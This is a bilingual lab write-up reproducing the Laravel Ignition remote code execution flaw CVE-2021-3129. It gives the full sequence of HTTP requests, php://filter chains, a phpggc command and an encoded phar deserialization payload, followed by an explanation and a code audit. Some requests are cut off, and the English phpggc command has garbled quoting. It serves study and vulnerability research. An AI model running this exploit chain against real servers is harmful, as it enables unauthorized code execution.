Research on CVE-2021-3129/CVE-2021-3129详解

This article is written in Chinese and English, and the content is exactly the same. To view the Chinese version, please scroll down.

本篇文章采用中文和英文两种语言编写,内容完全相同。如需查看中文版请下滑。

Research on CVE-2021-3129

Setting up the environment

Use China daocloud to install docker with one click.

1
curl -sSL <https://get.daocloud.io/docker> | sh

Also install pip.

1
curl -s <https://bootstrap.pypa.io/get-pip.py> | python3

After installing pip, use pip to install docker-compose.

1
pip install docker-compose

After the installation is complete, use the following command to test whether the installation is successful.

1
2
docker version
docker-compose

Use the file on vluhub to find CVE-2021-3129, and download the corresponding environment file according to the tutorial on github. Just follow the tutorial on vulhub.

https://github.com/vulhub/vulhub

This time we reproduced the loopholes in the Laravel framework and entered the corresponding path. First check the README document, the default setting of Laravel is open on port 8080. I used Alibaba Cloud’s ECS to build, so I have to set up port 8080 to accept traffic in the security policy on the Alibaba Cloud console.

Exploitation process

The reproduction process has very detailed instructions in the README. According to the reproduction process, it is first necessary to send a data packet to the ignition component. In fact, Ignition is Laravel’s own Debug page. The native PHP error reporting obviously cannot meet the requirements, so Ignition is actually Laravel’s own error reporting page that provides a lot of functions. The Solution is very easy to use, allowing developers to fix some bugs with a few clicks. Don’t care about the specific functions, just know that the vulnerability entry for this time is here.

Because this vulnerability environment is built with docker, it is best to enter the mount directory corresponding to the docker container on the server side to facilitate viewing the process of website logs being operated.

1
2
3
4
5
6
7
#Find the id of the running container that needs to enter the directory
docker ps -a
#Enter the directory of the container:
docker exec -it container id /bin/bash
#You can check the current path
pwd
ls -al

First, in order to verify the existence of the vulnerability, send the following data packet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 168

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}

If 500 is returned and an error page appears, you can see such code from the Debug page that was directly exposed, proving that the vulnerability exists. File_get_content is a function often seen in php vulnerabilities. This function supports the php pseudo-protocol, which will cause file inclusion.

Send the following data packet to clear the log file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode /resource=../storage/logs/laravel.log"
}
}

A return of 200 indicates that the removal was successful.

Use phpggc to generate serialization and use POC. If you don’t have phpggc installed, you need to install it. phpggc is a tool that can automatically generate serialized test payloads for mainstream frameworks. When using this command, you need to be in the phpggc path.

1
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "%s" --phar phar -o php://output | base64 -w 0 | python3 -c "import sys;print(".join (['=' + hex (ord(i))[2:] +'=00' for i in sys.stdin.read()]).upper())"

POC:

1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=6D=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=50=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=33=00=61=00=47=00=39=00=68=00=62=00=57=00=6B=00=6E=00=4B=00=54=00=73=00=67=00=5A=00=58=00=68=00=70=00=64=00=44=00=73=00=67=00=50=00=7A=00=34=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=55=00=41=00=41=00=41=00=42=00=6B=00=64=00=57=00=31=00=74=00=65=00=51=00=51=00=41=00=41=00=41=00=41=00=30=00=67=00=61=00=52=00=67=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=30=00=67=00=61=00=52=00=67=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=30=00=5A=00=58=00=4E=00=30=00=4B=00=43=00=63=00=56=00=36=00=44=00=48=00=36=00=4F=00=39=00=6F=00=37=00=61=00=7A=00=48=00=6C=00=43=00=42=00=46=00=64=00=71=00=61=00=39=00=46=00=78=00=7A=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a

Then send the following data packet, add a prefix AA to log to align.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 165

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}

The next step is to write the payload into the log file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 5129

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "Payload above"}
}

After writing the payload, clear other characters and decode the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode /resource=../storage/logs/laravel.log"
}
}

Finally, the deserialization is triggered and the payload is executed.

1
2
3
4
5
6
7
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Conne

Vulnerability principle

The most core principle is deserialization, but every deserialization has a fancy entrance. During the pentest a few days ago, it was found that the operations of low-privileged users were recorded in the log and could be audited by the administrator. At the time, I was thinking to see if I could do XSS or something, but the filtering was done very well and it was unsuccessful. This vulnerability gives a lot of ideas. Attackers can write almost any character in the log and trigger serialization to realize remote code execution.

Among them, encoding and decoding are involved, and the handling of different characters in this one gives an opportunity to exploit this vulnerability. I use a CTF question as an example.

1
2
3
4
<?PHP
#it is running under default installation of Ubuntu 18.04 + PHP7.2 + Apache.
($_=@$_GET['orange']) && @substr(file($_)[0], 0, 6) =='@<?php'? Include($_): highlight_file(__FILE__);
?>

The beginning of the session file generated by session.upload is upload_progress_, which does not meet the requirements of the title. But in PHP, base64 will automatically ignore illegal characters. Add the two characters “ZZ” in front of the uploaded file name, and the prefix is spliced with ZZ to become upload_progress_ZZ, this prefix will become illegal characters after decoding three times, causing the prefix to disappear completely. Based on this feature, you can bypass the restriction and match @<?php.

The idea is also dragged back to this vulnerability. Originally, the format of the log file does not conform to the command execution format. Through the characteristics of encoding and decoding, the redundant characters are eliminated and the executable format is left to complete the deserialization.

Let’s look at the error response, the viewFile parameter value in the sent json data is written to the log.

Open the log file directly from the server, and all the green parts are the parts written into the log file.

The next step is to follow the idea of CTF topic, turn the log file into a phar file, and perform deserialization with the phar pseudo protocol. But there are still several issues that need to be addressed.

First of all, the base64 mentioned above will ignore illegal characters when decoding, but the “=” will not be ignored. If there is an equal sign in the base64-decoded string, it will cause an error to return a null value. The content we injected only occupies a small part of the log. It is difficult to test a suitable set of splicing characters, and make the extra characters disappear after a certain number of base64 decodings.

And there is another problem. The string representing time in front of the log is uncontrollable, and the content after decoding is uncontrollable.

1
2
3
4
php> var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php> var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

In addition, the error log contains the absolute path, so you cannot use a same payload, you need to generate a new payload for each target.

Also, the payload we injected will appear twice in the log.

The final log format should be

[prefix] payload [midfix] payload [suffix]

Now that we have a general understanding of the format of the log recording mechanism, the next step is to solve these difficulties. First of all, the existence of illegal characters mentioned above will cause base64 decoding to skip. Using this mechanism, we can clear the log file.

Use utf-16 and utf-8 to convert between two encodings, resulting in an error and clearing the log file. And because there will be two payloads in the log, and UTF-16 reads two bytes, you can add a byte after the payload to swallow the payload that appears the second time. Note that there is a small detail here. When the payload is odd, the second payload will be decoded normally, and vice versa.

After the conversion back and forth, the characters except the payload are not legal characters for base64 decoding, and then using base64 decoding, only the payload is left.

But in this way, we are equivalent to expanding the one-byte utf-8 encoding to the two-byte utf-16 encoding, using null bytes to fill by default. But using null bytes in file_get_contents will give an error.

1
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

Fortunately, php provided us with a solution. Use the convert.quoted-printable-decode filter to encode the null character “\00” as “=00” into the log, and there is also a corresponding decoder convert.quoted-printable-decode Decode it.

The final encoding/transcoding chain is as follows.

1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=.. /storage/logs/laravel.log

Finally sort out the attack chain

  1. Use the mutual conversion between UTF-8 and UTF-16 plus base64 decoding to clear the log.
  2. Add a prefix AA to the payload in order to align two bits.
  3. Write the payload to the log.
  4. Repeat the first step to remove the non-payload part, leaving only the payload that complies with base64 encoding.
  5. Use the Phar pseudo-protocol to trigger deserialization to implement command execution.

Code Audit

vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

namespace Facade\\Ignition\\Http\\Controllers;

use Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest;
use Facade\\IgnitionContracts\\SolutionProviderRepository;
use Illuminate\\Foundation\\Validation\\ValidatesRequests;

class ExecuteSolutionController
{
use ValidatesRequests;

public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();

$solution->run($request->get('parameters', []));

return response('');
}
}

The solution calls the run method and passes the parameters. This is the incoming point, and no filtering is done. Follow the run function of the solution method.

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}

public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'],'$'.$parameters['variableName']." ??''", $originalContents);

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

After the parameters are passed into the run function, they are not filtered, but are passed into the makeOptional function. After that, it was executed as a parameter of file_get_contents. The executed parameter was the viewFile parameter of the incoming json format data, which eventually led to the occurrence of deserialization vulnerability.

EXP

Finally, attach the exp of the Crisprss: https://github.com/crisprss/Laravel_CVE-2021-3129_EXP

CVE-2021-3129详解

搭建环境

使用国内的daocloud一键安装docker。

1
curl -sSL <https://get.daocloud.io/docker> | sh

还要安装pip。

1
curl -s <https://bootstrap.pypa.io/get-pip.py> | python3

完成安装pip之后,使用pip安装docker-compose。

1
pip install docker-compose

安装完成后使用下面的命令测试是否安装成功。

1
2
docker version
docker-compose

使用vluhub上面的文件,找到CVE-2021-3129,根据github上面的教程下载对应环境文件。按照vulhub上面的教程来就可以。

https://github.com/vulhub/vulhub

本次复现的是Laravel框架的漏洞,进入对应路径。首先查看README文档,默认设置的Laravel开放在8080端口。本人用的是阿里云的ECS搭建的,所以要去阿里云控制台上的安全策略中设置开放8080端口接受流量。

复现过程

复现的过程在README中有很详细的指示。根据复现过程,首先需要向ignition组件发送数据包。其实Ignition就是laravel自己的Debug页面,原生PHP的报错显然不能满足要求,所以Ignition其实就是Laravel自己的提供了一大堆功能的报错页面。其中的Solution就非常的好用,可以让开发者点点鼠标修复一些bug。具体功能不用关心,只需要知道本次的漏洞入口在这里。

因为本次漏洞环境是用docker搭建的,所以在服务器端最好进入docker容器对应的挂载目录,方便查看网站日志被操作的过程。

1
2
3
4
5
6
7
#找到需要进入目录的正在运行的容器的id
docker ps -a
#进入该容器的目录:
docker exec -it 容器id /bin/bash
#可以查看一下当前路径
pwd
ls -al

首先为了验证漏洞存在,发送如下数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 168

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}

如果返回了500并且出现了报错页面,从直接爆出的Debug页面中能看到这样的代码,证明漏洞存在。file_get_content作为php漏洞中经常见到的函数,这个函数支持php伪协议,会造成文件包含。

发送如下数据包,将日志文件清空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

返回200表示清除成功。

使用phpggc生成序列化利用POC,没有安装phpggc的需要安装一下,phpggc是一款能够自动生成主流框架的序列化测试payload的工具。使用本条命令的时候要phpggc路径下。

1
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "%s" --phar phar -o php://output | base64 -w 0 | python3 -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

POC:

1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=6D=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=50=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=33=00=61=00=47=00=39=00=68=00=62=00=57=00=6B=00=6E=00=4B=00=54=00=73=00=67=00=5A=00=58=00=68=00=70=00=64=00=44=00=73=00=67=00=50=00=7A=00=34=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=55=00=41=00=41=00=41=00=42=00=6B=00=64=00=57=00=31=00=74=00=65=00=51=00=51=00=41=00=41=00=41=00=41=00=30=00=67=00=61=00=52=00=67=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=30=00=67=00=61=00=52=00=67=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=30=00=5A=00=58=00=4E=00=30=00=4B=00=43=00=63=00=56=00=36=00=44=00=48=00=36=00=4F=00=39=00=6F=00=37=00=61=00=7A=00=48=00=6C=00=43=00=42=00=46=00=64=00=71=00=61=00=39=00=46=00=78=00=7A=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a

接着发送如下数据包, 给log增加一个前缀AA来对齐。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 165

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}

下一步就将payload写入log文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 5129

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "Payload above" }
}

写入payload之后清除其他字符,解码payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
